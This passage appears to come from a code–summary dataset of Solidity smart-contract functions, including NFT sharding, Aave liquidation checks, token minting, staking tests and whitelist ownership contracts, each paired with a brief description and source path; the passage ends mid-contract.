ERC721Holder, ERC1155Holder { using SafeMath for uint256; constructor() public {} function initialize( address _WETH, address _factory, address _governance, address _router, address _dev, address _platformFund, address _shardsFactory, address _regulator, address _buyoutProposals ) public { require(admin == msg.sender, "UNAUTHORIZED"); require(WETH == address(0), "ALREADY INITIALIZED"); WETH = _WETH; factory = _factory; governance = _governance; router = _router; dev = _dev; platformFund = _platformFund; shardsFactory = _shardsFactory; regulator = _regulator; buyoutProposals = _buyoutProposals; } function createShard( Token721[] calldata token721s, Token1155[] calldata token1155s, string memory shardName, string memory shardSymbol, uint256 minWantTokenAmount, address wantToken ) external override returns (uint256 shardPoolId) { require( NFTLibrary.tokenVerify(shardName, 30) && NFTLibrary.tokenVerify(shardSymbol, 30), "INVALID NAME/SYMBOL" ); require(minWantTokenAmount > 0, "INVALID MINAMOUNT INPUT"); require( IMarketRegulator(regulator).IsInWhiteList(wantToken), "WANTTOKEN IS NOT ON THE LIST" ); shardPoolId = shardPoolIdCount.add(1); poolInfo[shardPoolId] = shardPool({ creator: msg.sender, state: ShardsState.Live, createTime: block.timestamp, deadlineForStake: block.timestamp.add(deadlineForStake), deadlineForRedeem: block.timestamp.add(deadlineForRedeem), balanceOfWantToken: 0, minWantTokenAmount: minWantTokenAmount, isCreatorWithDraw: false, wantToken: wantToken, openingPrice: 0 }); _transferIn(shardPoolId, token721s, token1155s, msg.sender); uint256 creatorAmount = totalSupply.mul(shardsCreatorProportion).div(max); uint256 platformAmount = totalSupply.mul(platformProportion).div(max); uint256 stakersAmount = totalSupply.sub(creatorAmount).sub(platformAmount); shardInfo[shardPoolId] = shard({ shardName: shardName, shardSymbol: shardSymbol, shardToken: address(0), totalShardSupply: totalSupply, shardForCreator: creatorAmount, shardForPlatform: platformAmount, shardForStakers: stakersAmount, burnAmount: 0 }); allPools.push(shardPoolId); shardPoolIdCount = shardPoolId; emit ShardCreated( shardPoolId, msg.sender, shardName, shardSymbol, minWantTokenAmount, block.timestamp, totalSupply, wantToken ); } function stake(uint256 _shardPoolId, uint256 amount) external override { require( block.timestamp <= poolInfo[_shardPoolId].deadlineForStake, "EXPIRED" ); address wantToken = poolInfo[_shardPoolId].wantToken; TransferHelper.safeTransferFrom( wantToken, msg.sender, address(this), amount ); _stake(_shardPoolId, amount); } function stakeETH(uint256 _shardPoolId) external payable override { require( block.timestamp <= poolInfo[_shardPoolId].deadlineForStake, "EXPIRED" ); require(poolInfo[_shardPoolId].wantToken == WETH, "UNWANTED"); IWETH(WETH).deposit{value: msg.value}(); _stake(_shardPoolId, msg.value); } function _stake(uint256 _shardPoolId, uint256 amount) private { require(amount > 0, "INSUFFIENT INPUT"); userInfo[_shardPoolId][msg.sender].amount = userInfo[_shardPoolId][ msg.sender ] .amount .add(amount); poolInfo[_shardPoolId].balanceOfWantToken = poolInfo[_shardPoolId] .balanceOfWantToken .add(amount); emit Stake(msg.sender, _shardPoolId, amount); } function redeem(uint256 _shardPoolId, uint256 amount) external override { _redeem(_shardPoolId, amount); TransferHelper.safeTransfer( poolInfo[_shardPoolId].wantToken, msg.sender, amount ); emit Redeem(msg.sender, _shardPoolId, amount); } function redeemETH(uint256 _shardPoolId, uint256 amount) external override { require(poolInfo[_shardPoolId].wantToken == WETH, "UNWANTED"); _redeem(_shardPoolId, amount); IWETH(WETH).withdraw(amount); TransferHelper.safeTransferETH(msg.sender, amount); emit Redeem(msg.sender, _shardPoolId, amount); } function _redeem(uint256 _shardPoolId, uint256 amount) private { require( block.timestamp <= poolInfo[_shardPoolId].deadlineForRedeem, "EXPIRED" ); require(amount > 0, "INSUFFIENT INPUT"); userInfo[_shardPoolId][msg.sender].amount = userInfo[_shardPoolId][ msg.sender ] .amount .sub(amount); poolInfo[_shardPoolId].balanceOfWantToken = poolInfo[_shardPoolId] .balanceOfWantToken .sub(amount); } function settle(uint256 _shardPoolId) external override { require( block.timestamp > poolInfo[_shardPoolId].deadlineForRedeem, "NOT READY" ); require( poolInfo[_shardPoolId].state == ShardsState.Live, "LIVE STATE IS REQUIRED" ); if ( poolInfo[_shardPoolId].balanceOfWantToken < poolInfo[_shardPoolId].minWantTokenAmount || IMarketRegulator(regulator).IsInBlackList(_shardPoolId) ) { poolInfo[_shardPoolId].state = ShardsState.SubscriptionFailed; address shardCreator = poolInfo[_shardPoolId].creator; _transferOut(_shardPoolId, shardCreator); emit SettleFail(_shardPoolId); } else { _successToSetPrice(_shardPoolId); } } function redeemInSubscriptionFailed(uint256 _shardPoolId) external override { require( poolInfo[_shardPoolId].state == ShardsState.SubscriptionFailed, "WRONG STATE" ); uint256 balance = userInfo[_shardPoolId][msg.sender].amount; require(balance > 0, "INSUFFIENT BALANCE"); userInfo[_shardPoolId][msg.sender].amount = 0; poolInfo[_shardPoolId].balanceOfWantToken = poolInfo[_shardPoolId] .balanceOfWantToken .sub(balance); if (poolInfo[_shardPoolId].wantToken == WETH) { IWETH(WETH).withdraw(balance); TransferHelper.safeTransferETH(msg.sender, balance); } else { TransferHelper.safeTransfer( poolInfo[_shardPoolId].wantToken, msg.sender, balance ); } emit Redeem(msg.sender, _shardPoolId, balance); } function usersWithdrawShardToken(uint256 _shardPoolId) external override { require( poolInfo[_shardPoolId].state == ShardsState.Listed || poolInfo[_shardPoolId].state == ShardsState.Buyout || poolInfo[_shardPoolId].state == ShardsState.ApplyForBuyout, "WRONG_STATE" ); uint256 userBanlance = userInfo[_shardPoolId][msg.sender].amount; bool isWithdrawShard = userInfo[_shardPoolId][msg.sender].isWithdrawShard; require(userBanlance > 0 && !isWithdrawShard, "INSUFFIENT BALANCE"); uint256 shardsForUsers = shardInfo[_shardPoolId].shardForStakers; uint256 totalBalance = poolInfo[_shardPoolId].balanceOfWantToken; // formula: // shardAmount/shardsForUsers= userBanlance/totalBalance // uint256 shardAmount = userBanlance.mul(shardsForUsers).div(totalBalance); userInfo[_shardPoolId][msg.sender].isWithdrawShard = true; IShardToken(shardInfo[_shardPoolId].shardToken).mint( msg.sender, shardAmount ); } function creatorWithdrawWantToken(uint256 _shardPoolId) external override { require(msg.sender == poolInfo[_shardPoolId].creator, "UNAUTHORIZED"); require( poolInfo[_shardPoolId].state == ShardsState.Listed || poolInfo[_shardPoolId].state == ShardsState.Buyout || poolInfo[_shardPoolId].state == ShardsState.ApplyForBuyout, "WRONG_STATE" ); require(!poolInfo[_shardPoolId].isCreatorWithDraw, "ALREADY WITHDRAW"); uint256 totalBalance = poolInfo[_shardPoolId].balanceOfWantToken; uint256 platformAmount = shardInfo[_shardPoolId].shardForPlatform; uint256 fee = poolInfo[_shardPoolId].balanceOfWantToken.mul(platformAmount).div( shardInfo[_shardPoolId].shardForStakers ); uint256 amount = totalBalance.sub(fee); poolInfo[_shardPoolId].isCreatorWithDraw = true; if (poolInfo[_shardPoolId].wantToken == WETH) { IWETH(WETH).withdraw(amount); TransferHelper.safeTransferETH(msg.sender, amount); } else { TransferHelper.safeTransfer( poolInfo[_shardPoolId].wantToken, msg.sender, amount ); } uint256 creatorAmount = shardInfo[_shardPoolId].shardForCreator; address shardToken = shardInfo[_shardPoolId].shardToken; IShardToken(shardToken).mint( poolInfo[_shardPoolId].creator, creatorAmount ); } function applyForBuyout(uint256 _shardPoolId, uint256 wantTokenAmount) external override returns (uint256 proposalId) { proposalId = _applyForBuyout(_shardPoolId, wantTokenAmount); } function applyForBuyoutETH(uint256 _shardPoolId) external payable override returns (uint256 proposalId) { require(poolInfo[_shardPoolId].wantToken == WETH, "UNWANTED"); proposalId = _applyForBuyout(_shardPoolId, msg.value); } function _applyForBuyout(uint256 _shardPoolId, uint256 wantTokenAmount) private returns (uint256 proposalId) { require(msg.sender == tx.origin, "INVALID SENDER"); require( poolInfo[_shardPoolId].state == ShardsState.Listed, "LISTED STATE IS REQUIRED" ); uint256 shardBalance = IShardToken(shardInfo[_shardPoolId].shardToken).balanceOf( msg.sender ); uint256 totalShardSupply = shardInfo[_shardPoolId].totalShardSupply; uint256 currentPrice = getPrice(_shardPoolId); uint256 buyoutTimes; (proposalId, buyoutTimes) = IBuyoutProposals(buyoutProposals) .createProposal( _shardPoolId, shardBalance, wantTokenAmount, currentPrice, totalShardSupply, msg.sender ); if ( poolInfo[_shardPoolId].wantToken == WETH && msg.value == wantTokenAmount ) { IWETH(WETH).deposit{value: wantTokenAmount}(); } else { TransferHelper.safeTransferFrom( poolInfo[_shardPoolId].wantToken, msg.sender, address(this), wantTokenAmount ); } TransferHelper.safeTransferFrom( shardInfo[_shardPoolId].shardToken, msg.sender, address(this), shardBalance ); poolInfo[_shardPoolId].state = ShardsState.ApplyForBuyout; emit ApplyForBuyout( msg.sender, proposalId, _shardPoolId, shardBalance, wantTokenAmount, block.timestamp, buyoutTimes, currentPrice, block.number ); } function vote(uint256 _shardPoolId, bool isAgree) external override { require( poolInfo[_shardPoolId].state == ShardsState.ApplyForBuyout, "WRONG STATE" ); address shard = shardInfo[_shardPoolId].shardToken; (uint256 proposalId, uint256 balance) = IBuyoutProposals(buyoutProposals).vote( _shardPoolId, isAgree, shard, msg.sender ); emit Vote(msg.sender, proposalId, _shardPoolId, isAgree, balance); } function voteResultConfirm(uint256 _shardPoolId) external override returns (bool) { require( poolInfo[_shardPoolId].state == ShardsState.ApplyForBuyout, "WRONG STATE" ); ( uint256 proposalId, bool result, address submitter, uint256 shardAmount, uint256 wantTokenAmount ) = IBuyoutProposals(buyoutProposals).voteResultConfirm(_shardPoolId); if (result) { poolInfo[_shardPoolId].state = ShardsState.Buyout; IShardToken(shardInfo[_shardPoolId].shardToken).burn(shardAmount); shardInfo[_shardPoolId].burnAmount = shardInfo[_shardPoolId] .burnAmount .add(shardAmount); _transferOut(_shardPoolId, submitter); _getProfit(_shardPoolId, wantTokenAmount, shardAmount); } else { poolInfo[_shardPoolId].state = ShardsState.Listed; } emit VoteResultConfirm(proposalId, _shardPoolId, result); return result; } function exchangeForWantToken(uint256 _shardPoolId, uint256 shardAmount) external override returns (uint256 wantTokenAmount) { require( poolInfo[_shardPoolId].state == ShardsState.Buyout, "WRONG STATE" ); TransferHelper.safeTransferFrom( shardInfo[_shardPoolId].shardToken, msg.sender, address(this), shardAmount ); IShardToken(shardInfo[_shardPoolId].shardToken).burn(shardAmount); shardInfo[_shardPoolId].burnAmount = shardInfo[_shardPoolId] .burnAmount .add(shardAmount); wantTokenAmount = IBuyoutProposals(buyoutProposals) .exchangeForWantToken(_shardPoolId, shardAmount); require(wantTokenAmount > 0, "LESS THAN 1 WEI"); if (poolInfo[_shardPoolId].wantToken == WETH) { IWETH(WETH).withdraw(wantTokenAmount); TransferHelper.safeTransferETH(msg.sender, wantTokenAmount); } else { TransferHelper.safeTransfer( poolInfo[_shardPoolId].wantToken, msg.sender, wantTokenAmount ); } } function redeemForBuyoutFailed(uint256 _proposalId) external override returns (uint256 shardTokenAmount, uint256 wantTokenAmount) { uint256 shardPoolId; (shardPoolId, shardTokenAmount, wantTokenAmount) = IBuyoutProposals( buyoutProposals ) .redeemForBuyoutFailed(_proposalId, msg.sender); TransferHelper.safeTransfer( shardInfo[shardPoolId].shardToken, msg.sender, shardTokenAmount ); if (poolInfo[shardPoolId].wantToken == WETH) { IWETH(WETH).withdraw(wantTokenAmount); TransferHelper.safeTransferETH(msg.sender, wantTokenAmount); } else { TransferHelper.safeTransfer( poolInfo[shardPoolId].wantToken, msg.sender, wantTokenAmount ); } } function _successToSetPrice(uint256 _shardPoolId) private { address shardToken = _deployShardsToken(_shardPoolId); poolInfo[_shardPoolId].state = ShardsState.Listed; shardInfo[_shardPoolId].shardToken = shardToken; address wantToken = poolInfo[_shardPoolId].wantToken; uint256 platformAmount = shardInfo[_shardPoolId].shardForPlatform; IShardToken(shardToken).mint(address(this), platformAmount); uint256 shardPrice = poolInfo[_shardPoolId].balanceOfWantToken.mul(1e18).div( shardInfo[_shardPoolId].shardForStakers ); //fee= shardPrice * platformAmount =balanceOfWantToken * platformAmount / shardForStakers uint256 fee = poolInfo[_shardPoolId].balanceOfWantToken.mul(platformAmount).div( shardInfo[_shardPoolId].shardForStakers ); poolInfo[_shardPoolId].openingPrice = shardPrice; //addLiquidity TransferHelper.safeApprove(shardToken, router, platformAmount); TransferHelper.safeApprove(wantToken, router, fee); IUniswapV2Router02(router).addLiquidity( shardToken, wantToken, platformAmount, fee, 0, 0, address(this), now.add(60) ); _addFarmPool(_shardPoolId); emit SettleSuccess( _shardPoolId, platformAmount, shardInfo[_shardPoolId].shardForStakers, poolInfo[_shardPoolId].balanceOfWantToken, fee, shardToken ); } function _getProfit( uint256 _shardPoolId, uint256 wantTokenAmount, uint256 shardAmount ) private { address shardToken = shardInfo[_shardPoolId].shardToken; address wantToken = poolInfo[_shardPoolId].wantToken; address lPTokenAddress = NFTLibrary.getPair(shardToken, wantToken, factory); uint256 LPTokenBalance = NFTLibrary.balanceOf(address(this), lPTokenAddress); TransferHelper.safeApprove(lPTokenAddress, router, LPTokenBalance); (uint256 amountShardToken, uint256 amountWantToken) = IUniswapV2Router02(router).removeLiquidity( shardToken, wantToken, LPTokenBalance, 0, 0, address(this), now.add(60) ); IShardToken(shardInfo[_shardPoolId].shardToken).burn(amountShardToken); shardInfo[_shardPoolId].burnAmount = shardInfo[_shardPoolId] .burnAmount .add(amountShardToken); uint256 supply = shardInfo[_shardPoolId].totalShardSupply; uint256 wantTokenAmountForExchange = amountShardToken.mul(wantTokenAmount).div(supply.sub(shardAmount)); uint256 totalProfit = amountWantToken.add(wantTokenAmountForExchange); uint256 profitForDev = totalProfit.mul(profitProportionForDev).div(max); uint256 profitForPlatformFund = totalProfit.sub(profitForDev); TransferHelper.safeTransfer(wantToken, dev, profitForDev); TransferHelper.safeTransfer( wantToken, platformFund, profitForPlatformFund ); } function _transferIn( uint256 shardPoolId, Token721[] calldata token721s, Token1155[] calldata token1155s, address from ) private { require( token721s.length.add(token1155s.length) > 0, "INSUFFIENT TOKEN" ); for (uint256 i = 0; i < token721s.length; i++) { Token721 memory token = token721s[i]; Token721s[shardPoolId].push(token); IERC721(token.contractAddress).safeTransferFrom( from, address(this), token.tokenId ); } for (uint256 i = 0; i < token1155s.length; i++) { Token1155 memory token = token1155s[i]; require(token.amount > 0, "INSUFFIENT TOKEN"); Token1155s[shardPoolId].push(token); IERC1155(token.contractAddress).safeTransferFrom( from, address(this), token.tokenId, token.amount, "" ); } } function _transferOut(uint256 shardPoolId, address to) private { Token721[] memory token721s = Token721s[shardPoolId]; Token1155[] memory token1155s = Token1155s[shardPoolId]; for (uint256 i = 0; i < token721s.length; i++) { Token721 memory token = token721s[i]; IERC721(token.contractAddress).safeTransferFrom( address(this), to, token.tokenId ); } for (uint256 i = 0; i < token1155s.length; i++) { Token1155 memory token = token1155s[i]; IERC1155(token.contractAddress).safeTransferFrom( address(this), to, token.tokenId, token.amount, "" ); } } function _deployShardsToken(uint256 _shardPoolId) private returns (address token) { string memory name = shardInfo[_shardPoolId].shardName; string memory symbol = shardInfo[_shardPoolId].shardSymbol; token = IShardsFactory(shardsFactory).createShardToken( _shardPoolId, name, symbol ); } function _addFarmPool(uint256 _shardPoolId) private { address shardToken = shardInfo[_shardPoolId].shardToken; address wantToken = poolInfo[_shardPoolId].wantToken; address lPTokenSwap = NFTLibrary.getPair(shardToken, wantToken, factory); address TokenToEthSwap = wantToken == WETH ? address(0) : NFTLibrary.getPair(wantToken, WETH, factory); IShardsFarm(shardsFarm).add(_shardPoolId, lPTokenSwap, TokenToEthSwap); } //governance operation function setDeadlineForStake(uint256 _deadlineForStake) external override { require(msg.sender == governance, "UNAUTHORIZED"); deadlineForStake = _deadlineForStake; } function setDeadlineForRedeem(uint256 _deadlineForRedeem) external override { require(msg.sender == governance, "UNAUTHORIZED"); deadlineForRedeem = _deadlineForRedeem; } function setShardsCreatorProportion(uint256 _shardsCreatorProportion) external override { require(msg.sender == governance, "UNAUTHORIZED"); require(_shardsCreatorProportion < max, "INVALID"); shardsCreatorProportion = _shardsCreatorProportion; } function setPlatformProportion(uint256 _platformProportion) external override { require(msg.sender == governance, "UNAUTHORIZED"); require(_platformProportion < max, "INVALID"); platformProportion = _platformProportion; } function setTotalSupply(uint256 _totalSupply) external override { require(msg.sender == governance, "UNAUTHORIZED"); totalSupply = _totalSupply; } function setProfitProportionForDev(uint256 _profitProportionForDev) external override { require(msg.sender == governance, "UNAUTHORIZED"); profitProportionForDev = _profitProportionForDev; } function setShardsFarm(address _shardsFarm) external override { require(msg.sender == governance, "UNAUTHORIZED"); shardsFarm = _shardsFarm; } function setRegulator(address _regulator) external override { require(msg.sender == governance, "UNAUTHORIZED"); regulator = _regulator; } function setFactory(address _factory) external override { require(msg.sender == governance, "UNAUTHORIZED"); factory = _factory; } function setShardsFactory(address _shardsFactory) external override { require(msg.sender == governance, "UNAUTHORIZED"); shardsFactory = _shardsFactory; } function setRouter(address _router) external override { require(msg.sender == governance, "UNAUTHORIZED"); router = _router; } //admin operation function setPlatformFund(address _platformFund) external override { require(msg.sender == admin, "UNAUTHORIZED"); platformFund = _platformFund; } function setDev(address _dev) external override { require(msg.sender == admin, "UNAUTHORIZED"); dev = _dev; } //pending function not use right now // function shardAudit(uint256 _shardPoolId, bool isPassed) external override { // require(msg.sender == admin, "UNAUTHORIZED"); // require( // poolInfo[_shardPoolId].state == ShardsState.Pending, // "WRONG STATE" // ); // if (isPassed) { // poolInfo[_shardPoolId].state = ShardsState.Live; // } else { // poolInfo[_shardPoolId].state = ShardsState.AuditFailed; // address shardCreator = poolInfo[_shardPoolId].creator; // _transferOut(_shardPoolId, shardCreator); // } // } //view function function getPrice(uint256 _shardPoolId) public view override returns (uint256 currentPrice) { address tokenA = shardInfo[_shardPoolId].shardToken; address tokenB = poolInfo[_shardPoolId].wantToken; currentPrice = NFTLibrary.getPrice(tokenA, tokenB, factory); } function getAllPools() external view override returns (uint256[] memory _pools) { _pools = allPools; } function getTokens(uint256 shardPoolId) external view override returns (Token721[] memory _token721s, Token1155[] memory _token1155s) { _token721s = Token721s[shardPoolId]; _token1155s = Token1155s[shardPoolId]; } }
governance operation
function setDeadlineForStake(uint256 _deadlineForStake) external override { require(msg.sender == governance, "UNAUTHORIZED"); deadlineForStake = _deadlineForStake; }
10,195,407
./full_match/43114/0x1a5fa9105a8B2f42e9A8a9EFe51be61d6831D582/sources/comptroller/avax/liquidate/LiquidatorAave2.sol
Calculate real seize
function checkAccount(address borrower, LendingPoolAddressesProvider lendingPoolAddressesProvider, address[] memory underlyingTokens, address[] memory stableTokens, address[] memory variableTokens, address[] memory aTokens, uint[] memory liquidationBonus, uint256 tokenLength) external view returns(bool, uint, address, address) { CheckAccountVars memory checkAccountVars; checkAccountVars.bestAssetToClose = 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB; checkAccountVars.bestAssetToSeize = 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB; checkAccountVars.priceOracle = IPriceOracleGetter(lendingPoolAddressesProvider.getPriceOracle()); checkAccountVars.lendingPool = LendingPool(lendingPoolAddressesProvider.getLendingPool()); (,,,,,checkAccountVars.healthFactor) = checkAccountVars.lendingPool.getUserAccountData(borrower); for (uint i = 0; i < tokenLength; i++) { checkAccountVars.amount = IERC20(stableTokens[i]).balanceOf(borrower); checkAccountVars.amount += IERC20(variableTokens[i]).balanceOf(borrower); if (checkAccountVars.amount > 0) { checkAccountVars.priceInEth = checkAccountVars.priceOracle.getAssetPrice(underlyingTokens[i]); checkAccountVars.decimals = 10**uint(IERC20(underlyingTokens[i]).decimals()); checkAccountVars.closableBnb = checkAccountVars.priceInEth * checkAccountVars.amount / checkAccountVars.decimals; if (checkAccountVars.closableBnb > checkAccountVars.closingAmountBnbBorrow) { checkAccountVars.currentDebt = checkAccountVars.amount.percentMul(LIQUIDATION_CLOSE_FACTOR_PERCENT); checkAccountVars.closingAmountBnbBorrow = checkAccountVars.closableBnb; checkAccountVars.bestAssetToClose = underlyingTokens[i]; checkAccountVars.priceDebt = checkAccountVars.priceInEth; checkAccountVars.decimalsDebt = checkAccountVars.decimals; } } } if (checkAccountVars.bestAssetToClose == 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB) return (false, 0, 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB, 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB); for (uint i = 0; i < tokenLength; i++) { checkAccountVars.amount = IERC20(aTokens[i]).balanceOf(borrower); if (checkAccountVars.amount > 0) { checkAccountVars.priceInEth = checkAccountVars.priceOracle.getAssetPrice(underlyingTokens[i]); checkAccountVars.decimals = 10**uint(IERC20(underlyingTokens[i]).decimals()); (checkAccountVars.seize, checkAccountVars.repay) = calculateAvailableCollateralToLiquidate(underlyingTokens[i], checkAccountVars.bestAssetToClose, checkAccountVars.currentDebt, checkAccountVars.amount, liquidationBonus[i], checkAccountVars.priceOracle); (, checkAccountVars.maxSwap) = selectPairSlippageAware(checkAccountVars.bestAssetToClose, underlyingTokens[i], aTokens[i], checkAccountVars.seize); if (checkAccountVars.maxSwap == 0) continue; if (checkAccountVars.maxSwap < checkAccountVars.seize) { checkAccountVars.repay = checkAccountVars.maxSwap * checkAccountVars.repay / checkAccountVars.seize; checkAccountVars.seize = checkAccountVars.maxSwap; } checkAccountVars.calculatedSeize = checkAccountVars.priceInEth * checkAccountVars.seize / checkAccountVars.decimals; checkAccountVars.calculatedDebt = checkAccountVars.priceDebt * checkAccountVars.repay / checkAccountVars.decimalsDebt; if (checkAccountVars.calculatedSeize > checkAccountVars.calculatedDebt && (checkAccountVars.calculatedSeize - checkAccountVars.calculatedDebt) > checkAccountVars.expectedRevenue) { checkAccountVars.expectedRevenue = checkAccountVars.calculatedSeize - checkAccountVars.calculatedDebt; checkAccountVars.bestAssetToSeize = underlyingTokens[i]; } } } if (checkAccountVars.bestAssetToSeize == 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB) return (false, 0, 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB, 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB); return (checkAccountVars.healthFactor < 1e18, checkAccountVars.expectedRevenue, checkAccountVars.bestAssetToClose, checkAccountVars.bestAssetToSeize); }
4,593,504
./full_match/5/0x2e89601fAE0fe0690e7C8cAC0c1C43a2cE48F356/sources/src/Mintpass.sol
Mints a number of tokens to an address and approves it be handled by the IP-NFT Contract to The address that the token is minted to amount the amount of tokens to mint
function batchMint(address to, uint256 amount) public nonReentrant onlyOwner { require(amount < 100, "Don't go crazy with the mints"); for (uint256 i = 0; i < amount; i++) { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); _approve(ipnftContract, tokenId); emit TokenMinted(to, tokenId); } }
11,629,062
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "ds-test/test.sol"; import {TokenERC20} from "./test/utils/tokens/TokenERC20.sol"; import {Staking} from "./Staking.sol"; import {Hevm} from "./test/utils/Hevm.sol"; import {PRBProxy} from "@prb-proxy/contracts/PRBProxy.sol"; import {Batching} from "./batching/Batching.sol"; contract BatchingTest is DSTest { TokenERC20 internal tokenerc20; Staking internal staking; Hevm internal hevm = Hevm(HEVM_ADDRESS); Batching internal batching = new Batching(); PRBProxy internal proxy = new PRBProxy(); function setUp() public { tokenerc20 = new TokenERC20("Mock Token", "MOCK"); staking = new Staking(address(tokenerc20)); } function test_DepositWithdrawValueDirectly() public { uint amount = 100; tokenerc20.mint(address(this), amount); tokenerc20.approve(address(staking), amount); staking.deposit(amount); uint warpSeconds = 5; hevm.warp(block.timestamp + warpSeconds); staking.withdraw(amount); uint rewardAmount = staking.balanceOf(address(this)); assertEq(rewardAmount, amount * staking.rewardPerSecond() * warpSeconds); } function test_DepositAndWithdrawContract() public { uint amount = 100; bool ok; bytes memory data; // Create tokens tokenerc20.mint(address(this), amount); // Deposit tokens (ok, data) = address(batching).delegatecall( abi.encodeWithSelector( batching.deposit.selector, tokenerc20, staking, amount ) ); assertTrue(ok); assertTrue(keccak256(data) == keccak256(bytes(""))); // Travel in time uint warpSeconds = 5; hevm.warp(block.timestamp + warpSeconds); // Withdraw tokens and reward (ok, data) = address(batching).delegatecall( abi.encodeWithSelector( batching.withdraw.selector, staking, amount ) ); uint rewardAmount = staking.balanceOf(address(this)); assertEq(rewardAmount, amount * staking.rewardPerSecond() * warpSeconds); } function test_DepositAndWithdrawProxy() public { uint amount = 100; // Create tokens tokenerc20.mint(address(proxy), amount); // Deposit tokens proxy.execute( address(batching), abi.encodeWithSelector( batching.deposit.selector, tokenerc20, staking, amount ) ); // Travel in time uint warpSeconds = 5; hevm.warp(block.timestamp + warpSeconds); // Withdraw tokens and reward proxy.execute( address(batching), abi.encodeWithSelector( batching.withdraw.selector, staking, amount ) ); uint rewardAmount = staking.balanceOf(address(proxy)); assertEq(rewardAmount, amount * staking.rewardPerSecond() * warpSeconds); } }
Create tokens Deposit tokens Travel in time Withdraw tokens and reward
function test_DepositAndWithdrawContract() public { uint amount = 100; bool ok; bytes memory data; tokenerc20.mint(address(this), amount); (ok, data) = address(batching).delegatecall( abi.encodeWithSelector( batching.deposit.selector, tokenerc20, staking, amount ) ); assertTrue(ok); assertTrue(keccak256(data) == keccak256(bytes(""))); uint warpSeconds = 5; hevm.warp(block.timestamp + warpSeconds); (ok, data) = address(batching).delegatecall( abi.encodeWithSelector( batching.withdraw.selector, staking, amount ) ); uint rewardAmount = staking.balanceOf(address(this)); assertEq(rewardAmount, amount * staking.rewardPerSecond() * warpSeconds); }
15,805,302
./partial_match/3/0x4A861BEe13d63C502634eB36b34F45594F61dd78/sources/HotdewMaster.sol
Withdraw LP tokens from HotdewMaster.
function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accHotdewPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeHotdewTransfer(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accHotdewPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); }
5,058,587
./partial_match/42/0xb6f247d152256E669550AD7dD7702d105E786D7B/sources/TeamBattle.sol
Shuffles order of team array/
function _shuffle() internal { for (uint256 i = 0; i < teams.length; i++) { uint256 n = i + _getRandom(teams.length - i); Team memory temp = teams[n]; teams[n] = teams[i]; teams[i] = temp; } }
3,330,403
pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address ownerCEO; address ownerMoney; address privAddress = 0x23a9C3452F3f8FF71c7729624f4beCEd4A24fa55; address public addressTokenBunny = 0x2Ed020b084F7a58Ce7AC5d86496dC4ef48413a24; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { ownerCEO = msg.sender; ownerMoney = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == ownerCEO); _; } function transferOwnership(address add) public onlyOwner { if (add != address(0)) { ownerCEO = add; } } function transferOwnerMoney(address _ownerMoney) public onlyOwner { if (_ownerMoney != address(0)) { ownerMoney = _ownerMoney; } } function getOwnerMoney() public view onlyOwner returns(address) { return ownerMoney; } /** * @dev private contract */ function getPrivAddress() public view onlyOwner returns(address) { return privAddress; } } contract Whitelist is Ownable { mapping(address => bool) public whitelist; mapping(uint => address) whitelistCheck; uint public countAddress = 0; event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); modifier onlyWhitelisted() { require(whitelist[msg.sender]); _; } constructor() public { whitelist[msg.sender] = true; } function addAddressToWhitelist(address addr) onlyWhitelisted public returns(bool success) { if (!whitelist[addr]) { whitelist[addr] = true; countAddress = countAddress + 1; whitelistCheck[countAddress] = addr; emit WhitelistedAddressAdded(addr); success = true; } } function getWhitelistCheck(uint key) onlyWhitelisted view public returns(address) { return whitelistCheck[key]; } function getInWhitelist(address addr) public view returns(bool) { return whitelist[addr]; } function getOwnerCEO() public onlyWhitelisted view returns(address) { return ownerCEO; } function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (addAddressToWhitelist(addrs[i])) { success = true; } } } function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { if (whitelist[addr]) { whitelist[addr] = false; emit WhitelistedAddressRemoved(addr); success = true; } } function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (removeAddressFromWhitelist(addrs[i])) { success = true; } } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /// @title Interface new rabbits address contract PrivateRabbitInterface { function getNewRabbit(address from) public view returns (uint); function mixDNK(uint dnkmother, uint dnksire, uint genome) public view returns (uint); function isUIntPrivate() public pure returns (bool); } contract TokenBunnyInterface { function isPromoPause() public view returns(bool); function 